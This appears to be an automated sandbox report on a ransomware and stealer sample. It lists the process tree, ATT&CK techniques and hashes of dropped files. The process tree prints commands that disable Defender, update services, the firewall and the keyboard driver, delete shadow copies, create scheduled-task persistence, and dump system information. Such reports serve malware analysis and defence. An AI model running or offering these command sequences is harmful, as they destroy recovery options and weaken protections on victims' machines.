C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:5012
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3924 -
C:\Users\Admin\AppData\Local\Temp\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:644
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4360
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:4256
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1540
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1948
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:3296
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:6124
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:6116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5352
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5584
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5568
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1096 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5168
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1224
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5340 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:276 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5768
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5204 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:1576
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3736 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:5440
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1776
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:5388
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5476
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:6076
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:6020
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:6120 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:5292
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1520
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:6132
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:4220
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:4528
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1992
-
C:\Users\Admin\AppData\Local\Temp\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:3356
-
C:\Users\Admin\AppData\Local\Temp\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:4232
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:4296
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260508_223056.jpg
- Size 108KB
- SHA256 e89defc71ff2af5ca27ee548d579b0fcdbc1a209984acd2e2f04b5e94a11ee11
- MD5 0cd5d176ec97a672c6eef71e23ac8756
- SHA1 a634c99c8868081157fd29c9a55e5423ce8ae969
- SHA512 06aabe8e7e221486175ebd93ca957e9858a8aaf6808e042a726b5529f0d6620db2b69d1f23cf03d41feb5302894bd8aaca2a3ac2da69942de1af74cfe970acf0
- SSDEEP 1536:INRRRRRRRRRRRGEWBLbNAQ9n/cVrm8IribhlVc01DHhpUm5eIw/iLm:sWBLJAGn0hm8TbhlVc0lHhenn
- TLSH T1AAB392035C1E92C2A96C51E5FC170EAC7E462B5CEC9A2DFF14660FE73D216630D890AB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 27b31202d1f73eeaef0ee6dd169b5bc77e72b893aab2824996326882df3eaef8
- MD5 57be76ddedebd757cc24f1b2aac70875
- SHA1 dd725517a00a8f3e0553b67ab2a3dffafe1a3ae7
- SHA512 9f5e06a75d2c53ea7ba253b2f6510c6a4805024a010d6a47ac9eee62c5dfb4b4b93b5884d3e33467784b86a835659361553c7d9c215d088c148c83997e2a25de
- SSDEEP 1536:icBUA19Tir0iGv/IoCVa1UIK8ouIeVrhIO+PjXQQdLkeSYr+VqMjBrD6e8:zBUA1Fir0fvXUaSImuIa6XXQQGXYrMjy
- TLSH T1AB632C36CF23FCD4777B3D40E05438561C483E6B87B5267CFA811DAA28A6684DF2E598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 65KB
- SHA256 8645ebb515f8de01b3c7e3af3ce186352c5fb0333ef0fe2d28b33e76fc929aae
- MD5 0e02dc9d50d607a8206a7d09ed9a7862
- SHA1 360fe1435913f4f61ea9168ea355fd1b4cca5ce2
- SHA512 5972924d2fc7fce5934c2e2db3fdaeb4a9ec9032fbd7363299ecd0cfb5c8903a885b5491f321498b36edcc5cb687baaeac5d6de015ffc89bda50bd6048184b3c
- SSDEEP 1536:CcBUA19Tir0iGv/IoCVa1UIK8ouIeVrhIO+PjXQQdLkeSYr+VqMjBrD6ef:TBUA1Fir0fvXUaSImuIa6XXQQGXYrMjl
- TLSH T18D631B36CF23FCD4777B3D40E05038561C483E6B9775267CFA811DAA28AA684DF2E598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 520b696f5c14261ad027162e7245a1f02b1879a07c7b65effdce76a5be87051a
- MD5 c6ebe8d74dd0f8b47276267ff7a714f8
- SHA1 66fa6540965af180e5d69f518a7f6e06ca0de75b
- SHA512 54ec74b82dc479e0afa1333a47546e6ef9242b0f228c38a1af2b3e09fd06127d95180463f6a62cf8359d47e765613139b070864b4cee21b5517d90c1f7ddbee6
- TLSH T117E02BAACD65AC2709FD071920885746E70503A72F41591F3A3C831C8FF027A958681C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 384B
- SHA256 6a10ac7bdae0a9bb9f8674a29d087c82e7edd929ae4e47559bd61b1186f745a1
- MD5 399cfa3163ea50d0b9abe8d3192bf7ac
- SHA1 556bf23a7578251889335b21834afe95bb0822a0
- SHA512 623f657d998ddb34006b161606d4b73ec816dd04fd9cc6265fb7f510759fd4158a6251e1f9eb8408aec11fc286043cc4884a17b498d1ef7f51d36d2660f8afe9
- TLSH T1EEE0EB18C3C42412C34CC834AC0D5C0B3372938C7E232E83822931233D01B50B4B2FE0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 6KB
- SHA256 cbfc4d2bd6f387280447459d308a9cec5d9f4956b76f525c10fa798b240b3e7a
- MD5 77245839dbc8e8fa3d56f208976b9fa2
- SHA1 f368824a8787d5180c29d7d5e92ac55448ce0087
- SHA512 a8b1a73258b48dce5fb7e1f97368807ded257d67e8757feea7c600053e42087436d561b3795dc6399a9bca2be084ffe2db4ac79d942f0e7f120afb1575643a23
- SSDEEP 192:DutSD+vVaIaEg7LVJdsV9Unbo8nxlemRYxGRXo8kM:DutSD+vVaIaEg7LVJdsV9Unbo8nxlemt
- TLSH T107E18CB7C3E4D96D891159F1AA246A2FCE590D28432C3D1A8CD4AF0F53E2871E2406DF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 2KB
- SHA256 3fef7dfb67892905cf90d24c99cf8f9d9d2f0d1086e89999d6891fa82e70142c
- MD5 f9e0e5cb2cfbf7df52d3f1c9ab6076cd
- SHA1 ffd5d36a5550137a251de4b6d174b2c5d39556cb
- SHA512 42d37fda29641468e376420a12343caa7cafe04e9d6381b15509edb4e76de82b2088a0be1476c0efdf8ba1288304fe858d49b5719ccbe8dba20d258776e736d0
- TLSH T172519DB3C3E8997D891156F4AB257F2BCDA90A54631C3C56C8D4EE1F53E28B6E20024F
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 312bb61488974211b7715c7687d1527acefa23d8ffe7f9ea7229c8c5ff6406e9
- MD5 9591e30cac9104766ad3fc77deef38cd
- SHA1 3363801cd9b417c9d5ffec5e22f0d476572783e3
- SHA512 4773d1a91b0c10bb5460be76a3d47ddd89296f089016cfb9ec89a23718efdbfe0886470a0658b604a279725d0d109e9a42896ea3f3fa951516483c2a026eff12
- SSDEEP 192:WR1JnJ67zfRcv7rpAPRp2Zl09+Hsb+WNnE8tzw2J+k2OqkwyVyIsnAUgtaJ:WR1JJoRIfUXNEwrq2f2OqS8
- TLSH T17B42E62EA9187A3B9CEBD22AF9217717E7F6103175902E44E6F8CA2C14D75CD631702B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 17KB
- SHA256 4c5dbe3f3071c1cdd70e39a99dd2a8e7a0233b08f2fef9e58bef03d6b9f0f954
- MD5 eaf45e095eaf8d2e1b455626d5895959
- SHA1 23bbb40f8390c77932f41805e60e5023c08cbcfb
- SHA512 92ecc61b66421f057e483c277097699444f9b664b973b2ed4406a72d4c026914714c5b5c5496330675ccc8e112b23772dfe4e83882fbc0b2de5ba584e72837e6
- SSDEEP 384:Wcji97KxkXqKf/pUZNCgVLH2HfgslE27pLuLcifU1XODid+ErU3+NHGSdTFO:Wwi97KxkXqKf/pUZNCgVLH2Hfgs227pA
- TLSH T1EB72F8676C0C9E3B4F98C68CD9267F4FACB5014B65EA885493FA982903D5BCB11061FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\bb27c1771b3336fe88190bb9d77b2dca23566a05\index.txt
- Size 147B
- SHA256 cd93256d2ce45fa633fe024385b7dd88fe2127d39b0b9664c5a370714d611547
- MD5 cba26508bee20468d1dafe166e24ba6c
- SHA1 ce4852cdbeaf177de9f2e25d23f1dd90641d5dea
- SHA512 99ee8147657a1ab960549e829540474bad7b40f41a28d73a80a4722b59a92c1222df3085e4db9cbd25bd40b451da4241625bad7f5c5b580ab8dd2bac0d97157d
- TLSH T1DEC08C6B6027822EBAD8C68348043236C72E89C8CAEC88E89014E40988414228AEA904
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\bb27c1771b3336fe88190bb9d77b2dca23566a05\index.txt~RFe58b179.TMP
- Size 154B
- SHA256 fc1b371125b95ed0f3ae9eb4786796fbf19e6cfe3401cea66966f15b27e4f50a
- MD5 1bf84e862c81a7f5f247ebe24a80b840
- SHA1 71df1460410e7a6bdbc181093438ee3d56f65cca
- SHA512 7b0e8d458c3aac8dac975774bb9cc2c197b94d29705cd9b6ed21dd5b42e3428cd371e777e45e7ea0963895224cabdd5a3be0cd3b7350b36887097cc82c65a233
- TLSH T1E8C08C6B6037823DBA94C18388143266C73E8DC8CEDC88E89015F04954710228AD9914
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 144B
- SHA256 eb82fb1b87da706ceaa19608d68bf052c8f5c05f4efd0110cb178240db643000
- MD5 9672958d05503051dc3545a764b98c75
- SHA1 c8371af8758234faf3e112ce390c51f96561a350
- SHA512 5887d5241c4aee1ac997755b2bb4f9db2025ce543081f3767d5b8bf2281fe91e908937d20d338d2d558d2748bb831f869794f952f185649ac9dd5a822bba76b2
- TLSH T181C01215C081E231C0D607F11093DD9CB3985F20DA051F5852EA5EB5D839172401B155
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58abbc.TMP
- Size 96B
- SHA256 cca5fdfad3e70f2fbaf8882586e49733defde0cbc82d26f0e32d32bdbce19b7e
- MD5 a8bf59e0ff09b1cf9787ba0e4a6098c8
- SHA1 8b6cf29b6af2898f373c6c5a0f58020b96477f1d
- SHA512 ac07617699def8c6f2aeb05b10a76df02afeb250f0e7175e4e978def20092c9872a1df494030f32ea8f891f50d4b839603587b097bfdc95e2070ab40a1679373
- TLSH T18BB02200C002B202C02203B03888BAC83220EF32CA0322AA82E00F22CCA8A3080282A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 a849bf74cb50260e4d59153822095a5dddca1e0894cda85f3e1419317285d932
- MD5 48df0be88d2f29f63c87643a7014b3b1
- SHA1 3741665ba63a48a18c93d13c87df673bde706ded
- SHA512 e0a811223326b71532368c6d6f92106652d4cbaea63f2ebb834291137db2074e1e04d2d73caeb38586fa76b847633ba1169d175b2b280e7cd28a66cccdeb8f09
- SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2ObpX6yQqNVummwkK:jeuvBnhJsueMEGvIW1DcP2OVT/VummnK
- TLSH T1ECD3984B3A743102DDE5DA721CE050BB5E3CB16D8F51A5D428B620688EF2863B23D4BF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 201KB
- SHA256 54e4ffe5aabfc64076cea4315da0975cb2835540b3c7cbdb206b64c8a143d31f
- MD5 2241986e1cbfa466fc8bd378e238d765
- SHA1 c660d55d7e143ebd94b398d8f22edbe40b055c08
- SHA512 7f75c3e4c2f8a799407cc56d6dc5d25526ea229c6ec3cda04148fb5bfc0f0bfb3fcfdf23e34ee0c54e5f9f9ddfa7f9ff25cd0101672f65d0d46ba859c6940307
- SSDEEP 6144:XcC7OB0S/Kc9fCQx99TrOk0HOGm/SFyEEn:SKenx9RrOjuGdF2n
- TLSH T1851412755F221B6793B9ABF2352D320DCE010A4F714A1D4CA234E68A56ED2D43F97E32
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 89KB
- SHA256 2771b5259ce810ff92486266b77a491f9a2d64f2fe9a9986b2a429c665eb641b
- MD5 7e3287700841e460b6cd5df116b8ce96
- SHA1 5b7e61569df10f3b13122fa2eba0bc1b5b6f1606
- SHA512 98641f824da47ecbb06265c5ab3880a93894d5ce697ee5cb26f5988fabdcd3c954af3ef08c02d3e1d568cef7310e6fe5255141a4d49b2409a6f6cb3bc42819f6
- SSDEEP 1536:jVDcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9YEm:xD3Qw/xLANk0mUW5GmRntSFCjEENQ
- TLSH T1E29302BA5E1B4AE7957D4A81769A7809CE12630D706FA8CC315C638C21D01C92F73E73
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 200KB
- SHA256 fb11356332b3572b74e8b291bbbf4a2f4a5dc296ad98e04a6e1654cbcc547383
- MD5 810b7cfdc2eac20abd5d4ae374c78411
- SHA1 ba6b1a9dd56864f187955978861ab9802baf5ec1
- SHA512 0bb56e612915525ad2f91da8a790c1eabdf69b45f73a2cff43b5c413a1acc5a298c99ac2f3b9763bf6ae25a0cff1aed27ca85f7087b60f07c8515bab98a0fcd9
- SSDEEP 6144:ZC7OB0S/Kc9fCQx99TrOk0HOGm/SFyEEn:nKenx9RrOjuGdF2n
- TLSH T1981413755F221B2793BD97B2363E310DCE020A4E314A0D5D9335E28A56E92D83F97E32
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 200KB
- SHA256 ea2becd3cd1f2a565f9a24371fe5469b9f0de866534ed4a60824110078d7be0d
- MD5 b1b93745466b06a2287b1159b92c1cb6
- SHA1 5b57327d8ac462bdf3a1e5eb1fc878627df99da3
- SHA512 b814a70bddfcc7f4b8da202981604a0ac375855dfe4005fc94c0f20b5e1af347571bcfc20a47bc9c2247707536dd4c5f8f6e18f796d123f5ab5ac4c5ca51bd7a
- SSDEEP 6144:4C7OB0S/Kc9fCQx99TrOk0HOGm/SFyEEn:+Kenx9RrOjuGdF2n
- TLSH T12B1412755F221B2793BDD6B2363E310DCE020A4E714A0D5D9335E28A56E92D83F97E32
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u3vqjzpb.wt4.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 649bf056e275a684bbeb5f30d37492fcf6cbc7b24724722b1e0a486d4acf7499
- MD5 c3616c21435e20a21acf285233eb2fa0
- SHA1 ffc40537d1e443a3783d80df2e5fa8fd4f4a9872
- SHA512 4d76023d14d1fdca6fe1c70f0bffd5e3ebcd19a8fac594b042e7d89fc03777903957cbcbb7111c2fa52c4ac921d07641cadede0b0a856a74891daaa81693ae04
- TLSH T1A2E0E747710CC56610015127C1F24C4CDDF4542C362B7F206794FD0D3791CC554F1443
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 7599ac051ee03a8fc733bf5a657f46454df381a9d389ec4e99c25b89025184a9
- MD5 b1f89ca95d052aa65296c6123880459a
- SHA1 b1b45bf41e475f90ce3e67aa7b8e234c14d34c76
- SHA512 552f227741eb1859f167b49ead5948a2d7c901daeb7b86cd2ccc184f7f2d3c11409dcbe9b57f5aea5403626c35794402800647f29d45e976e52ee8b17c7a1d4c
- TLSH T1C9E07D87611CC56610015127C0B24C4CD9E555282A2B6E20A654ED0E3791CC554F1442
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 147KB
- SHA256 04f51afa1810d42326611c79dfc97f420f386239c1dbc263a1838cdd2f695dc0
- MD5 83ff7f6db5ca8f180fdd6b303215f58c
- SHA1 bf0d1edb31c6775b0705cd4b96e4dc261d8049bb
- SHA512 29acf721e56fd5d4501b8697e34bcdbfa2d55efc39519f3bd0cfb89b5abde8935a2bf492d5a70b4e914c5300d9578cd139c5c0287c9faa089eba878032af1787
- SSDEEP 1536:MlMFIuhRpaHLGDDDDohG5lCqXLYoEtoRgnj+zP86enxn/YXgLagR:IMFJRpaHPhGW8EtFazP8JpwXgLagR
- TLSH T183E3E451C2F7CE2719C55FAB085527D0B468B7A596EC81FA14F6BA63F0B38B2C31E601
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 148KB
- SHA256 0658d7c1fcf386e8a88b2186671b2e5920a9bce38367f51f9d847134f14d520c
- MD5 c2f3c5c686e1f15cc81eb95ac93804cc
- SHA1 aa61bbf5b56b6cae0398352cec91f49889fb3293
- SHA512 49a65bd54c11142be32c4dc0d58b396f47923a7b32200dc2f4255bc313baaf9bd62df2798568db8cde2d03526cb4c60050c19f0ae7805192c14008b9f891b811
- SSDEEP 1536:cwlMFIuhRpaHLGDDDDohG5lCqXLYoEtoRgnj+zP86enxn/YXgLagJ:xMFJRpaHPhGW8EtFazP8JpwXgLagJ
- TLSH T1BFE3E451D2F7CE2B19C55FAB085527D0B468B7A596EC81FA10F5BA63F0B38B2C31E601
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 49KB
- SHA256 0f9e391b37b51796f13daf9b7b842ddeace82b6ea707cc05697878ad2a27c2ea
- MD5 702f5a10951f024f90410592f3181eab
- SHA1 21de3eed249f2c16369bcadc068c0d7d493d9b03
- SHA512 e5bb828c44628ad8591c4fa109e3947707faff87537471736c3f4fe18d93ab1e35f1f194832afb3439e3a65aa4b975449689ff5e1a0a0a174d96d85fe942d264
- SSDEEP 768:BhTDb3uOriwbkQy/ojg4g//o4CC1XXGblfA0T1KFcb:vTXu49RgI4CEXGblf9T1ucb
- TLSH T15B33F70477F98211F1FF4ABA8DB192119731F8979C22D78E06D5058E1AB3B40CEE8B67
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
